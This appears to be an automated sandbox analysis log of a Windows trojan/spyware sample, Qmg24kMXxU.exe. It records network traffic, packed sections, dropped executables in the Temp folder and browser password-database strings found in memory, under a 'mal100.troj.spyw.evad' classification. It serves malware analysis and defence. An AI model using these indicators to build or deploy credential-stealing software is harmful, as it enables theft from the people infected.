Source: Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.6:49821 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: Qmg24kMXxU.exe	Static PE information: section name:
Source: Qmg24kMXxU.exe	Static PE information: section name: .idata
Source: Qmg24kMXxU.exe	Static PE information: section name:
Source: JKGP0UT4QWTEFN0LA50.exe.2.dr	Static PE information: section name:
Source: JKGP0UT4QWTEFN0LA50.exe.2.dr	Static PE information: section name: .idata
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe.2.dr	Static PE information: section name:
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe.2.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EE05E9	16_2_00EE05E9
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EE05D9	16_2_00EE05D9
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EE05B5	16_2_00EE05B5
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00EE058D	16_2_00EE058D
Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	Code function: 16_2_00D5DF9B	16_2_00D5DF9B

Source: Qmg24kMXxU.exe, 00000002.00000003.2604607869.000000000598B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602856367.00000000058DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2610186273.00000000059CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2606342662.0000000005A5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2609171548.00000000058DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2615585178.00000000058DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2610623564.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2604481903.00000000058E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2603566516.0000000005982000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2611660316.00000000058E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2620113853.00000000058DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2603212732.00000000058DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2608592121.00000000059C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602041600.00000000057CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2604234405.000000000598A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2601621081.000000000574A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2619605821.0000000005B61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2605799231.000000000599F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2622589942.0000000005A2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2611976587.0000000005AE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602494438.000000000553F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2605413801.00000000058D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2605010270.00000000058D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2604066399.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2621461950.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2613530486.00000000059ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2641661948.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2610783051.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2612777841.00000000059EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2608298354.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2603449681.00000000058DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2611500241.00000000059DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2607427017.00000000058DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2601621081.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2603685202.00000000058D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2618656427.0000000005B54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2605277724.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2610949853.00000000059DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2614075259.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2614428957.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602607658.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2617477644.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2613303671.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602974114.0000000005975000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2607591736.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2609025580.0000000005AAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2611336869.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2608136004.00000000059AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2606988710.00000000058DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2633468922.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2607194234.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2603327017.0000000005985000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2623165277.0000000005A29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2603808979.000000000597B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2615404902.00000000059F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2641544116.0000000005439000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2601621081.00000000056D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602383101.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2604734874.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2609355566.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2617085404.00000000058DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2614867870.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2615936668.0000000005B33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2612306612.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2615044046.0000000005B24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2619012973.00000000058E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2607905170.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2612517447.00000000058DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2609669361.00000000058DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2608876345.00000000059BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2605542842.000000000599C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2605667188.00000000058D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2617282847.0000000005A0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2616649545.0000000005A0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602041600.00000000056D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2640937374.000000000544F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2605933021.0000000005A5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2601848136.00000000057C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2610331011.0000000005ABF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2606202490.0000000005999000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2604871210.0000000005990000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2614252582.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2611814545.00000000059D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2606066401.00000000058DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2621203788.00000000058E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602267407.00000000057CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602041600.000000000574C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2615209122.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2602729382.0000000005538000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2612141095.00000000058E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2622968372.00000000058D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2601848136.0000000005837000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2609849037.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2616467091.00000000058D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2606746510.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2610034235.00000000058DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2608733764.00000000058DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2619360057.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2616124410.00000000058DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2608451305.00000000058DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2606539422.00000000058E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2610476483.00000000058E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2605139989.000000000598A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2615758933.00000000059FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2640260928.0000000005472000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2640177245.00000000054F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2617849736.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2603088013.0000000005A0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2616841275.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2613074803.0000000005B03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2603940057.0000000005A22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2613723933.0000000005B05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2622057182.00000000058D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2616279391.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2620607094.0000000005A2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs Qmg24kMXxU.exe

Source: Qmg24kMXxU.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Qmg24kMXxU.exe	Static PE information: Section: ZLIB complexity 0.9973779965753424
Source: Qmg24kMXxU.exe	Static PE information: Section: iatfuzvm ZLIB complexity 0.99424305760165

Source: Qmg24kMXxU.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: JKGP0UT4QWTEFN0LA50.exe.2.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@3/3

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Code function: 16_2_04FA15D0 ChangeServiceConfigA,

16_2_04FA15D0

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JKGP0UT4QWTEFN0LA50.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe

File created: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe

Jump to behavior

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Qmg24kMXxU.exe, 00000002.00000003.2318175169.000000000544D000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2347607184.0000000005474000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2318045060.0000000005469000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Qmg24kMXxU.exe	Virustotal: Detection: 58%
Source: Qmg24kMXxU.exe	ReversingLabs: Detection: 55%

Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe

File read: C:\Users\user\Desktop\Qmg24kMXxU.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Qmg24kMXxU.exe "C:\Users\user\Desktop\Qmg24kMXxU.exe"
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Process created: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe "C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe"
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Process created: C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe "C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe"
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Process created: C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe "C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe"	Jump to behavior
